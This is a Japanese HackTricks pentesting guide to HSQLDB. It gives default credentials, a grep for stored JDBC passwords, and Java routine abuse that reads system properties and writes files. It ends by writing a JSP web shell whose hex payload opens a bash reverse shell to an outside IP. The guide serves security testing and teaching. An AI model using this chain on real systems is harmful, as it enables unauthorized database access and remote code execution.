7.3 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループに参加するか、telegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
基本情報
HSQLDB(HyperSQL DataBase)は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。これは、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートする、小さくて高速なマルチスレッドおよびトランザクションデータベースエンジンを提供します。
デフォルトポート: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
情報
デフォルト設定
デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。もし見つけた場合、おそらく他のサービスを攻撃し、特権をエスカレーションさせるために探しているでしょう。
デフォルトの資格情報は通常、空のパスワードでsa
です。
他のサービスを攻撃した場合、可能な資格情報を検索してください。
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
注意してデータベース名を確認してください - 接続するために必要です。
情報収集
HSQLDBをダウンロードし、hsqldb/lib/hsqldb.jar
を展開してDBインスタンスに接続します。GUIアプリ(うわっ)をjava -jar hsqldb.jar
を使用して実行し、発見した/弱い認証情報を使用してインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります:jdbc:hsqldb:hsql://ip/DBNAME
。
テクニック
Java言語ルーチン
Java言語ルーチンを使用して、HSQLDBからJavaクラスの静的メソッドを呼び出すことができます。ただし、呼び出されるクラスはアプリケーションのクラスパスにある必要があります。
JRTは関数
または手続き
になります。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQLステートメントを介して呼び出すことができます。VALUES
ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合は、CALL
ステートメントを使用して呼び出す必要があります。
Javaシステムプロパティの読み取り
関数を作成します:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
実行関数:
VALUES(getsystemproperty('user.name'))
ここでシステムプロパティのリストを見つけることができます。
ファイルへのコンテンツの書き込み
JDKにあるcom.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
というJavaガジェットを使用して、カスタム手順を介してヘックスエンコードされたアイテムをディスクに書き込むことができます。ただし、最大サイズは1024バイトです。
手順の作成:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
手順の実行:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。